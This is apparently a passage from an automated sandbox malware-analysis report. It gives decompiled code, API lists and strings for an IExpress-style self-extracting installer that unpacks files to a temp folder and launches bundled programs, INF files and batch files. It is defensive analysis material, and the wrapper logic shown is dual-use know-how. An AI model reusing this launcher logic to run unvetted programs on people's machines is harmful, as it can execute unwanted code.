				_t125 = E00A4468F(_t130, 0xa49a2c, 4);
				if(_t125 == 0 || _t125 > 4) {
					goto L25;
				} else {
					goto L3;
				}
			}

0x00a43baa
0x00a43bb0
0x00a43bb7
0x00a43bc0
0x00a43bc2
0x00a43bc9
0x00a43bcb
0x00a43bcf
0x00a43bd3
0x00a43bd9
0x00a43bfd
0x00a43bfd
0x00a43bff
0x00a43c03
0x00a43c03
0x00a43c11
0x00a43c16
0x00a43c19
0x00a43c28
0x00000000
0x00000000
0x00a43c30
0x00a43c39
0x00a43c40
0x00a43d13
0x00a43d15
0x00a43d21
0x00a43d26
0x00000000
0x00a43c4f
0x00a43c56
0x00a43c60
0x00a43c65
0x00a43c77
0x00a43c78
0x00a43c7c
0x00a43c7e
0x00a43c82
0x00a43c82
0x00000000
0x00a43c7c
0x00a43c67
0x00a43c69
0x00a43c6d
0x00000000
0x00a43c58
0x00a43c58
0x00a43c6e
0x00a43c6e
0x00a43c87
0x00a43c89
0x00a43d4d
0x00a43d4f
0x00a43d50
0x00a43d52
0x00a43d9e
0x00a43da8
0x00a43daf
0x00a43db4
0x00a43db6
0x00a43f4d
0x00a43f4d
0x00a43f4f
0x00a43f56
0x00a43f57
0x00a43f58
0x00a43f63
0x00a43f63
0x00a43dbc
0x00a43dc0
0x00a43dc2
0x00a43de6
0x00a43de6
0x00a43de8
0x00a43f0b
0x00a43f0b
0x00a43f0f
0x00a43f13
0x00a43f15
0x00a43f1a
0x00a43f1c
0x00a43f46
0x00a43f47
0x00000000
0x00a43f47
0x00a43f1e
0x00a43f1f
0x00a43f25
0x00a43f26
0x00a43f2a
0x00a43f2d
0x00a43fd9
0x00a43fd9
0x00a43fda
0x00a43fda
0x00a43fe1
0x00a43fe3
0x00a43fe3
0x00a43fe8
0x00000000
0x00a43fe8
0x00a43f33
0x00a43f37
0x00000000
0x00a43f37
0x00a43dee
0x00a43dee
0x00a43df5
0x00a43fad
0x00a43fb9
0x00a43fc2
0x00a43fc8
0x00000000
0x00a43fc8
0x00a43dfb
0x00a43dfd
0x00000000
0x00000000
0x00a43e03
0x00a43e0a
0x00000000
0x00000000
0x00a43e15
0x00a43e17
0x00a43e19
0x00a43f94
0x00a43fa4
0x00a43f7c
0x00a43f80
0x00a43f8b
0x00000000
0x00a43f8b
0x00a43e2c
0x00a43e30
0x00a43e34
0x00a43e36
0x00a43f69
0x00a43f6e
0x00a43f70
0x00a43f76
0x00000000
0x00a43f76
0x00a43e3c
0x00a43e43
0x00a43e47
0x00a43e52
0x00a43e56
0x00a43e5c
0x00a43e61
0x00a43e68
0x00a43e70
0x00a43e74
0x00a43e7c
0x00a43e80
0x00a43e82
0x00a43e82
0x00a43e87
0x00a43e87
0x00a43e8b
0x00a43e91
0x00a43e94
0x00a43e96
0x00a43e96
0x00a43e9b
0x00a43e9b
0x00a43e9f
0x00a43ea2
0x00a43ea4
0x00a43ea4
0x00a43ea9
0x00a43ea9
0x00a43ead
0x00a43eb3
0x00a43eb6
0x00a43eb8
0x00a43eb8
0x00a43ebd
0x00a43ebd
0x00a43ec1
0x00a43ec3
0x00a43ec5
0x00a43ec5
0x00a43eca
0x00a43eca
0x00a43ece
0x00a43ed5
0x00a43ed9
0x00a43ee0
0x00a43ee6
0x00a43eea
0x00a43eec
0x00a43eee
0x00a43ef3
0x00a43ef3
0x00a43ef5
0x00a43efa
0x00a43efb
0x00a43efd
0x00a43f40
0x00000000
0x00a43eff
0x00a43eff
0x00a43f05
0x00000000
0x00a43f05
0x00a43efd
0x00a43dc7
0x00a43dce
0x00000000
0x00000000
0x00a43dd0
0x00a43dd7
0x00000000
0x00000000
0x00a43dd9
0x00a43ddb
0x00000000
0x00000000
0x00a43ddd
0x00a43de1
0x00000000
0x00a43de1
0x00a43d59
0x00a43d65
0x00a43d6a
0x00a43d6c
0x00000000
0x00000000
0x00a43d6e
0x00a43d75
0x00000000
0x00000000
0x00a43d8f
0x00a43d96
0x00a43d98
0x00000000
0x00000000
0x00000000
0x00a43d98
0x00a43c8f
0x00a43c98
0x00a43cf1
0x00a43cf3
0x00000000
0x00000000
0x00a43cfe
0x00a43d11
0x00000000
0x00000000
0x00000000
0x00a43d11
0x00a43c9c
0x00a43ca5
0x00a43ca7
0x00000000
0x00000000
0x00a43cad
0x00a43cb2
0x00a43cb7
0x00a43cc5
0x00000000
0x00000000
0x00a43ce8
0x00a43cec
0x00a43ced
0x00a43ced
0x00000000
0x00a43ce8
0x00a43c9e
0x00000000
0x00a43c9e
0x00a43c56
0x00a43d35
0x00a43d35
0x00a43d3c
0x00a43d48
0x00000000
0x00a43d48
0x00a43c03
0x00a43be2
0x00a43be7
0x00a43bee
0x00000000
0x00000000
0x00000000
0x00000000

APIs

memset.MSVCRT ref: 00A43C11
CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,00000004), ref: 00A43CDC

Part of subcall function 00A4468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A446A0
Part of subcall function 00A4468F: SizeofResource.KERNEL32(00000000,00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446A9
Part of subcall function 00A4468F: FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 00A446C3
Part of subcall function 00A4468F: LoadResource.KERNEL32(00000000,00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446CC
Part of subcall function 00A4468F: LockResource.KERNEL32(00000000,?,00A42D1A,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446D3
Part of subcall function 00A4468F: memcpy_s.MSVCRT ref: 00A446E5
Part of subcall function 00A4468F: FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 00A446EF

CompareStringA.KERNEL32(0000007F,00000001,?,000000FF,<None>,000000FF,00000104,?,00A48C42), ref: 00A43D8F
GetProcAddress.KERNEL32(00000000,DoInfInstall), ref: 00A43E26
FreeLibrary.KERNEL32(00000000,?,00A48C42), ref: 00A43EFF
LocalFree.KERNEL32(?,?,?,?,00A48C42), ref: 00A43F1F
FreeLibrary.KERNEL32(00000000,?,00A48C42), ref: 00A43F40
LocalFree.KERNEL32(?,?,?,?,00A48C42), ref: 00A43F47
FreeLibrary.KERNEL32(00000000,DoInfInstall,00000000,00000010,00000000,?,00A48C42), ref: 00A43F76
LocalFree.KERNEL32(?,advpack.dll,00000000,00000010,00000000,?,?,?,00A48C42), ref: 00A43F80
LocalFree.KERNEL32(?,00000000,00000000,00000010,00000000,?,?,?,00A48C42), ref: 00A43FC2

Strings

REBOOT, xrefs: 00A43BE2
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A43E74
D, xrefs: 00A43C19
SHOWWINDOW, xrefs: 00A43C34
cent, xrefs: 00A43E68
<None>, xrefs: 00A43CC9, 00A43D7D
USRQCMD, xrefs: 00A43CAD
RUNPROGRAM, xrefs: 00A43D05
advpack.dll, xrefs: 00A43F9D
POSTRUNPROGRAM, xrefs: 00A43D60
DoInfInstall, xrefs: 00A43E1F, 00A43E24, 00A43F68
ADMQCMD, xrefs: 00A43C9E

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: Free$Resource$Local$Library$CompareFindString$AddressLoadLockProcSizeofmemcpy_smemset
String ID: <None>$ADMQCMD$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$D$DoInfInstall$POSTRUNPROGRAM$REBOOT$RUNPROGRAM$SHOWWINDOW$USRQCMD$advpack.dll$cent
API String ID: 1032054927-2188045420
Opcode ID: 2b42c5ecfa60dcfe5880697c4432815b2f9e8bb09a3e45ff51338d638444bdad
Instruction ID: 8786930b11a2b55e893d749f474837ffaf53dc28f2d935f0f756aad58300c3f1
Opcode Fuzzy Hash: 2b42c5ecfa60dcfe5880697c4432815b2f9e8bb09a3e45ff51338d638444bdad
Instruction Fuzzy Hash: D5B1427E9083009BDB20DF648845B6B76E4EBD5740F10092DFA85D61D0EBB5CE4ACB92

Uniqueness

Uniqueness Score: -1.00%

Function 00A41AE8 Relevance: 38.8, APIs: 10, Strings: 12, Instructions: 291
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E00A41AE8(long __ecx, CHAR** _a4, int* _a8) {
				signed int _v8;
				char _v268;
				char _v527;
				char _v528;
				char _v1552;
				CHAR* _v1556;
				int* _v1560;
				CHAR** _v1564;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t48;
				CHAR* _t53;
				CHAR* _t54;
				char* _t57;
				char* _t58;
				CHAR* _t60;
				void* _t62;
				signed char _t65;
				intOrPtr _t76;
				intOrPtr _t77;
				unsigned int _t85;
				CHAR* _t90;
				CHAR* _t92;
				char _t105;
				char _t106;
				CHAR** _t111;
				CHAR* _t115;
				intOrPtr* _t125;
				void* _t126;
				CHAR* _t132;
				CHAR* _t135;
				void* _t138;
				void* _t139;
				void* _t145;
				intOrPtr* _t146;
				char* _t148;
				CHAR* _t151;
				void* _t152;
				CHAR* _t155;
				CHAR* _t156;
				void* _t157;
				signed int _t158;

				_t48 =  *0xa48004; // 0x173b1603
				_v8 = _t48 ^ _t158;
				_t108 = __ecx;
				_v1564 = _a4;
				_v1560 = _a8;
				E00A41680( &_v528, 0x104, __ecx);
				if(_v528 != 0x22) {
					_t135 = " ";
					_t53 =  &_v528;
				} else {
					_t135 = "\"";
					_t53 =  &_v527;
				}
				_t111 =  &_v1556;
				_v1556 = _t53;
				_t54 = E00A41A84(_t111, _t135);
				_t156 = _v1556;
				_t151 = _t54;
				if(_t156 == 0) {
					L12:
					_push(_t111);
					E00A41781( &_v268, 0x104, _t111, "C:\Users\hardz\AppData\Local\Temp\IXP000.TMP\");
					E00A4658A( &_v268, 0x104, _t156);
					goto L13;
				} else {
					_t132 = _t156;
					_t148 =  &(_t132[1]);
					do {
						_t105 =  *_t132;
						_t132 =  &(_t132[1]);
					} while (_t105 != 0);
					_t111 = _t132 - _t148;
					if(_t111 < 3) {
						goto L12;
					}
					_t106 = _t156[1];
					if(_t106 != 0x3a || _t156[2] != 0x5c) {
						if( *_t156 != 0x5c || _t106 != 0x5c) {
							goto L12;
						} else {
							goto L11;
						}
					} else {
						L11:
						E00A41680( &_v268, 0x104, _t156);
						L13:
						_t138 = 0x2e;
						_t57 = E00A466C8(_t156, _t138);
						if(_t57 == 0 || CompareStringA(0x7f, 1, _t57, 0xffffffff, ".INF", 0xffffffff) != 0) {
							_t139 = 0x2e;
							_t115 = _t156;
							_t58 = E00A466C8(_t115, _t139);
							if(_t58 == 0 || CompareStringA(0x7f, 1, _t58, 0xffffffff, ".BAT", 0xffffffff) != 0) {
								_t156 = LocalAlloc(0x40, 0x400);
								if(_t156 == 0) {
									goto L43;
								}
								_t65 = GetFileAttributesA( &_v268); // executed
								if(_t65 == 0xffffffff || (_t65 & 0x00000010) != 0) {
									E00A41680( &_v1552, 0x400, _t108);
								} else {
									_push(_t115);
									_t108 = 0x400;
									E00A41781( &_v1552, 0x400, _t115,  &_v268);
									if(_t151 != 0 &&  *_t151 != 0) {
										E00A416B3( &_v1552, 0x400, " ");
										E00A416B3( &_v1552, 0x400, _t151);
									}
								}
								_t140 = _t156;
								 *_t156 = 0;
								E00A42AAC( &_v1552, _t156, _t156);
								goto L53;
							} else {
								_t108 = "Command.com /c %s";
								_t125 = "Command.com /c %s";
								_t145 = _t125 + 1;
								do {
									_t76 =  *_t125;
									_t125 = _t125 + 1;
								} while (_t76 != 0);
								_t126 = _t125 - _t145;
								_t146 =  &_v268;
								_t157 = _t146 + 1;
								do {
									_t77 =  *_t146;
									_t146 = _t146 + 1;
								} while (_t77 != 0);
								_t140 = _t146 - _t157;
								_t154 = _t126 + 8 + _t146 - _t157;
								_t156 = LocalAlloc(0x40, _t126 + 8 + _t146 - _t157);
								if(_t156 != 0) {
									E00A4171E(_t156, _t154, "Command.com /c %s",  &_v268);
									goto L53;
								}
								goto L43;
							}
						} else {
							_t85 = GetFileAttributesA( &_v268);
							if(_t85 == 0xffffffff || ( !(_t85 >> 4) & 0x00000001) == 0) {
								_t140 = 0x525;
								_push(0);
								_push(0x10);
								_push(0);
								_t60 =  &_v268;
								goto L35;
							} else {
								_t140 = "[";
								_v1556 = _t151;
								_t90 = E00A41A84( &_v1556, "[");
								if(_t90 != 0) {
									if( *_t90 != 0) {
										_v1556 = _t90;
									}
									_t140 = "]";
									E00A41A84( &_v1556, "]");
								}
								_t156 = LocalAlloc(0x40, 0x200);
								if(_t156 == 0) {
									L43:
									_t60 = 0;
									_t140 = 0x4b5;
									_push(0);
									_push(0x10);
									_push(0);
									L35:
									_push(_t60);
									E00A444B9(0, _t140);
									_t62 = 0;
									goto L54;
								} else {
									_t155 = _v1556;
									_t92 = _t155;
									if( *_t155 == 0) {
										_t92 = "DefaultInstall";
									}
									 *0xa49120 = GetPrivateProfileIntA(_t92, "Reboot", 0,  &_v268);
									 *_v1560 = 1;
									if(GetPrivateProfileStringA("Version", "AdvancedINF", 0xa41140, _t156, 8,  &_v268) == 0) {
										 *0xa49a34 =  *0xa49a34 & 0xfffffffb;
										if( *0xa49a40 != 0) {
											_t108 = "setupapi.dll";
										} else {
											_t108 = "setupx.dll";
											GetShortPathNameA( &_v268,  &_v268, 0x104);
										}
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										_push( &_v268);
										_push(_t155);
										E00A4171E(_t156, 0x200, "rundll32.exe %s,InstallHinfSection %s 128 %s", _t108);
									} else {
										 *0xa49a34 =  *0xa49a34 | 0x00000004;
										if( *_t155 == 0) {
											_t155 = "DefaultInstall";
										}
										E00A41680(_t108, 0x104, _t155);
										_t140 = 0x200;
										E00A41680(_t156, 0x200,  &_v268);
									}
									L53:
									_t62 = 1;
									 *_v1564 = _t156;
									L54:
									_pop(_t152);
									return E00A46CE0(_t62, _t108, _v8 ^ _t158, _t140, _t152, _t156);
								}
							}
						}
					}
				}
			}

0x00a41af3
0x00a41afa
0x00a41b07
0x00a41b09
0x00a41b1a
0x00a41b20
0x00a41b2c
0x00a41b3b
0x00a41b40
0x00a41b2e
0x00a41b2e
0x00a41b33
0x00a41b33
0x00a41b46
0x00a41b4c
0x00a41b52
0x00a41b57
0x00a41b5d
0x00a41b61
0x00a41b9f
0x00a41b9f
0x00a41bb1
0x00a41bc2
0x00000000
0x00a41b63
0x00a41b63
0x00a41b65
0x00a41b68
0x00a41b68
0x00a41b6a
0x00a41b6b
0x00a41b6f
0x00a41b74
0x00000000
0x00000000
0x00a41b76
0x00a41b7b
0x00a41b86
0x00000000
0x00000000
0x00000000
0x00000000
0x00a41b8c
0x00a41b8c
0x00a41b98
0x00a41bc7
0x00a41bc9
0x00a41bcc
0x00a41bd3
0x00a41d75
0x00a41d76
0x00a41d78
0x00a41d7f
0x00a41e05
0x00a41e09
0x00000000
0x00000000
0x00a41e12
0x00a41e1b
0x00a41e73
0x00a41e21
0x00a41e21
0x00a41e28
0x00a41e37
0x00a41e3e
0x00a41e52
0x00a41e60
0x00a41e60
0x00a41e3e
0x00a41e79
0x00a41e7b
0x00a41e84
0x00000000
0x00a41d9b
0x00a41d9b
0x00a41da0
0x00a41da2
0x00a41da5
0x00a41da5
0x00a41da7
0x00a41da8
0x00a41dac
0x00a41dae
0x00a41db4
0x00a41db7
0x00a41db7
0x00a41db9
0x00a41dba
0x00a41dbe
0x00a41dc3
0x00a41dce
0x00a41dd2
0x00a41deb
0x00000000
0x00a41df0
0x00000000
0x00a41dd2
0x00a41bf7
0x00a41bfe
0x00a41c07
0x00a41d55
0x00a41d5a
0x00a41d5b
0x00a41d5d
0x00a41d5e
0x00000000
0x00a41c1b
0x00a41c1b
0x00a41c20
0x00a41c2c
0x00a41c33
0x00a41c38
0x00a41c3a
0x00a41c3a
0x00a41c40
0x00a41c4b
0x00a41c4b
0x00a41c5d
0x00a41c61
0x00a41dd4
0x00a41dd4
0x00a41dd6
0x00a41ddb
0x00a41ddc
0x00a41dde
0x00a41d64
0x00a41d64
0x00a41d67
0x00a41d6c
0x00000000
0x00a41c67
0x00a41c67
0x00a41c6d
0x00a41c72
0x00a41c74
0x00a41c74
0x00a41c8e
0x00a41c99
0x00a41cc0
0x00a41cf8
0x00a41d07
0x00a41d23
0x00a41d09
0x00a41d14
0x00a41d1b
0x00a41d1b
0x00a41d2b
0x00a41d2d
0x00a41d2d
0x00a41d38
0x00a41d39
0x00a41d46
0x00a41cc2
0x00a41cc2
0x00a41ccc
0x00a41cce
0x00a41cce
0x00a41cdb
0x00a41ce6
0x00a41cee
0x00a41cee
0x00a41e89
0x00a41e91
0x00a41e92
0x00a41e94
0x00a41e97
0x00a41ea4
0x00a41ea4
0x00a41c61
0x00a41c07
0x00a41bd3
0x00a41b7b

APIs

CompareStringA.KERNEL32(0000007F,00000001,00000000,000000FF,.INF,000000FF,?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00A41BE7
GetFileAttributesA.KERNEL32(?,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00A41BFE
LocalAlloc.KERNEL32(00000040,00000200,?,C:\Users\user\AppData\Local\Temp\IXP000.TMP\,?,?,00000000,00000001,00000000), ref: 00A41C57
GetPrivateProfileIntA.KERNEL32 ref: 00A41C88
GetPrivateProfileStringA.KERNEL32(Version,AdvancedINF,00A41140,00000000,00000008,?), ref: 00A41CB8
GetShortPathNameA.KERNEL32 ref: 00A41D1B

Part of subcall function 00A444B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A44518
Part of subcall function 00A444B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00A44554

Strings

setupx.dll, xrefs: 00A41D14
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 00A41BA0
rundll32.exe %s,InstallHinfSection %s 128 %s, xrefs: 00A41D3B
Version, xrefs: 00A41CB3
.BAT, xrefs: 00A41D83
AdvancedINF, xrefs: 00A41CAE
Reboot, xrefs: 00A41C82
.INF, xrefs: 00A41BDB
DefaultInstall, xrefs: 00A41C74, 00A41C87, 00A41CCE, 00A41CD3, 00A41D2D, 00A41D39
setupapi.dll, xrefs: 00A41D23, 00A41D3A
", xrefs: 00A41B25
Command.com /c %s, xrefs: 00A41D9B, 00A41DE8

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-3368923722
Opcode ID: 76a0cb42115743904d667aad99a5f1ce1ce846ffa2793dbaf35844764b97586b
Instruction ID: 1607f65f36a05243515e118483dfafe0b7786047770689486cf3c2c60701ef0f
Opcode Fuzzy Hash: 76a0cb42115743904d667aad99a5f1ce1ce846ffa2793dbaf35844764b97586b
Instruction Fuzzy Hash: 92A14CBCA402186BEB20DB28CC45FEA7769EBD6310F1407A9E555A32C1DBB19DC6CB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A4597D Relevance: 19.7, APIs: 13, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00A4597D(CHAR* __ecx, signed char __edx, void* __edi, intOrPtr _a4) {
				signed int _v8;
				char _v16;
				char _v276;
				char _v788;
				long _v792;
				long _v796;
				long _v800;
				signed int _v804;
				long _v808;
				int _v812;
				long _v816;
				long _v820;
				void* __ebx;
				void* __esi;
				signed int _t46;
				int _t50;
				signed int _t55;
				void* _t66;
				int _t69;
				signed int _t73;
				signed short _t78;
				signed int _t87;
				signed int _t101;
				int _t102;
				unsigned int _t103;
				unsigned int _t105;
				signed int _t111;
				long _t112;
				signed int _t116;
				CHAR* _t118;
				signed int _t119;
				signed int _t120;

				_t114 = __edi;
				_t46 =  *0xa48004; // 0x173b1603
				_v8 = _t46 ^ _t120;
				_v804 = __edx;
				_t118 = __ecx;
				GetCurrentDirectoryA(0x104,  &_v276);
				_t50 = SetCurrentDirectoryA(_t118); // executed
				if(_t50 != 0) {
					_push(__edi);
					_v796 = 0;
					_v792 = 0;
					_v800 = 0;
					_v808 = 0;
					_t55 = GetDiskFreeSpaceA(0,  &_v796,  &_v792,  &_v800,  &_v808); // executed
					__eflags = _t55;
					if(_t55 == 0) {
						L29:
						memset( &_v788, 0, 0x200);
						 *0xa49124 = E00A46285();
						FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
						_t110 = 0x4b0;
						L30:
						__eflags = 0;
						E00A444B9(0, _t110, _t118,  &_v788, 0x10, 0);
						SetCurrentDirectoryA( &_v276);
						L31:
						_t66 = 0;
						__eflags = 0;
						L32:
						_pop(_t114);
						goto L33;
					}
					_t69 = _v792 * _v796;
					_v812 = _t69;
					_t116 = MulDiv(_t69, _v800, 0x400);
					__eflags = _t116;
					if(_t116 == 0) {
						goto L29;
					}
					_t73 = GetVolumeInformationA(0, 0, 0, 0,  &_v820,  &_v816, 0, 0); // executed
					__eflags = _t73;
					if(_t73 != 0) {
						SetCurrentDirectoryA( &_v276); // executed
						_t101 =  &_v16;
						_t111 = 6;
						_t119 = _t118 - _t101;
						__eflags = _t119;
						while(1) {
							_t22 = _t111 - 4; // 0x2
							__eflags = _t22;
							if(_t22 == 0) {
								break;
							}
							_t87 =  *((intOrPtr*)(_t119 + _t101));
							__eflags = _t87;
							if(_t87 == 0) {
								break;
							}
							 *_t101 = _t87;
							_t101 = _t101 + 1;
							_t111 = _t111 - 1;
							__eflags = _t111;
							if(_t111 != 0) {
								continue;
							}
							break;
						}
						__eflags = _t111;
						if(_t111 == 0) {
							_t101 = _t101 - 1;
							__eflags = _t101;
						}
						 *_t101 = 0;
						_t112 = 0x200;
						_t102 = _v812;
						_t78 = 0;
						_t118 = 8;
						while(1) {
							__eflags = _t102 - _t112;
							if(_t102 == _t112) {
								break;
							}
							_t112 = _t112 + _t112;
							_t78 = _t78 + 1;
							__eflags = _t78 - _t118;
							if(_t78 < _t118) {
								continue;
							}
							break;
						}
						__eflags = _t78 - _t118;
						if(_t78 != _t118) {
							__eflags =  *0xa49a34 & 0x00000008;
							if(( *0xa49a34 & 0x00000008) == 0) {
								L20:
								_t103 =  *0xa49a38; // 0x0
								_t110 =  *((intOrPtr*)(0xa489e0 + (_t78 & 0x0000ffff) * 4));
								L21:
								__eflags = (_v804 & 0x00000003) - 3;
								if((_v804 & 0x00000003) != 3) {
									__eflags = _v804 & 0x00000001;
									if((_v804 & 0x00000001) == 0) {
										__eflags = _t103 - _t116;
									} else {
										__eflags = _t110 - _t116;
									}
								} else {
									__eflags = _t103 + _t110 - _t116;
								}
								if(__eflags <= 0) {
									 *0xa49124 = 0;
									_t66 = 1;
								} else {
									_t66 = E00A4268B(_a4, _t110, _t103,  &_v16);
								}
								goto L32;
							}
							__eflags = _v816 & 0x00008000;
							if((_v816 & 0x00008000) == 0) {
								goto L20;
							}
							_t105 =  *0xa49a38; // 0x0
							_t110 =  *((intOrPtr*)(0xa489e0 + (_t78 & 0x0000ffff) * 4)) +  *((intOrPtr*)(0xa489e0 + (_t78 & 0x0000ffff) * 4));
							_t103 = (_t105 >> 2) +  *0xa49a38;
							goto L21;
						}
						_t110 = 0x4c5;
						E00A444B9(0, 0x4c5, 0, 0, 0x10, 0);
						goto L31;
					}
					memset( &_v788, 0, 0x200);
					 *0xa49124 = E00A46285();
					FormatMessageA(0x1000, 0, GetLastError(), 0,  &_v788, 0x200, 0);
					_t110 = 0x4f9;
					goto L30;
				} else {
					_t110 = 0x4bc;
					E00A444B9(0, 0x4bc, 0, 0, 0x10, 0);
					 *0xa49124 = E00A46285();
					_t66 = 0;
					L33:
					return E00A46CE0(_t66, 0, _v8 ^ _t120, _t110, _t114, _t118);
				}
			}

0x00a4597d
0x00a45988
0x00a4598f
0x00a4599a
0x00a459a6
0x00a459a8
0x00a459af
0x00a459b9
0x00a459dd
0x00a459e4
0x00a459f1
0x00a459fe
0x00a45a0b
0x00a45a13
0x00a45a19
0x00a45a1b
0x00a45ba1
0x00a45baf
0x00a45bbd
0x00a45bd8
0x00a45bde
0x00a45be3
0x00a45bec
0x00a45bf0
0x00a45bfc
0x00a45c02
0x00a45c02
0x00a45c02
0x00a45c04
0x00a45c04
0x00000000
0x00a45c04
0x00a45a27
0x00a45a3a
0x00a45a46
0x00a45a48
0x00a45a4a
0x00000000
0x00000000
0x00a45a64
0x00a45a6a
0x00a45a6c
0x00a45abc
0x00a45ac2
0x00a45ac9
0x00a45aca
0x00a45aca
0x00a45acc
0x00a45acc
0x00a45acf
0x00a45ad1
0x00000000
0x00000000
0x00a45ad3
0x00a45ad6
0x00a45ad8
0x00000000
0x00000000
0x00a45ada
0x00a45adc
0x00a45add
0x00a45add
0x00a45ae0
0x00000000
0x00000000
0x00000000
0x00a45ae0
0x00a45ae2
0x00a45ae4
0x00a45ae6
0x00a45ae6
0x00a45ae6
0x00a45ae9
0x00a45aeb
0x00a45af0
0x00a45af6
0x00a45af8
0x00a45af9
0x00a45af9
0x00a45afb
0x00000000
0x00000000
0x00a45afd
0x00a45aff
0x00a45b00
0x00a45b03
0x00000000
0x00000000
0x00000000
0x00a45b03
0x00a45b05
0x00a45b08
0x00a45b20
0x00a45b27
0x00a45b52
0x00a45b52
0x00a45b5b
0x00a45b62
0x00a45b6b
0x00a45b6d
0x00a45b76
0x00a45b7d
0x00a45b83
0x00a45b7f
0x00a45b7f
0x00a45b7f
0x00a45b6f
0x00a45b72
0x00a45b72
0x00a45b85
0x00a45b98
0x00a45b9e
0x00a45b87
0x00a45b8f
0x00a45b8f
0x00000000
0x00a45b85
0x00a45b29
0x00a45b33
0x00000000
0x00000000
0x00a45b35
0x00a45b48
0x00a45b4a
0x00000000
0x00a45b4a
0x00a45b0f
0x00a45b16
0x00000000
0x00a45b16
0x00a45a7c
0x00a45a8a
0x00a45aa5
0x00a45aab
0x00000000
0x00a459bb
0x00a459c0
0x00a459c7
0x00a459d1
0x00a459d6
0x00a45c05
0x00a45c14
0x00a45c14

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?,00000000,00000000), ref: 00A459A8
SetCurrentDirectoryA.KERNELBASE(?), ref: 00A459AF
GetDiskFreeSpaceA.KERNELBASE(00000000,?,?,?,?,00000001), ref: 00A45A13
MulDiv.KERNEL32(?,?,00000400), ref: 00A45A40
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00A45A64
memset.MSVCRT ref: 00A45A7C
GetLastError.KERNEL32(00000000,?,00000200,00000000), ref: 00A45A98
FormatMessageA.KERNEL32(00001000,00000000,00000000), ref: 00A45AA5
SetCurrentDirectoryA.KERNEL32(?,?,?,00000010,00000000), ref: 00A45BFC

Part of subcall function 00A444B9: LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 00A44518
Part of subcall function 00A444B9: MessageBoxA.USER32(?,?,cent,00010010), ref: 00A44554

Part of subcall function 00A46285: GetLastError.KERNEL32(00A45BBC), ref: 00A46285

Memory Dump Source

Source File: 00000000.00000002.352918915.0000000000A41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A40000, based on PE: true

Associated: 00000000.00000002.352907150.0000000000A40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352946994.0000000000A48000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.352961042.0000000000A4C000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_21fvBVFMsn.jbxd

Similarity

API ID: CurrentDirectory$ErrorLastMessage$DiskFormatFreeInformationLoadSpaceStringVolumememset
String ID:
API String ID: 4237285672-0
Opcode ID: 758131ece2fdc758bdd836d127b2a9f2072460e7a4b4a8918e8470628340b43b
Instruction ID: c69615aa332e1947a8a9d17218cbb0633b31a91740aa4b5735e02933eb488f45
Opcode Fuzzy Hash: 758131ece2fdc758bdd836d127b2a9f2072460e7a4b4a8918e8470628340b43b
Instruction Fuzzy Hash: 6F71A2B990060CAFEB25DBA4DC85BFB77BCEBC9344F0441A9F40592141EB719E868B21

Uniqueness

Uniqueness Score: -1.00%

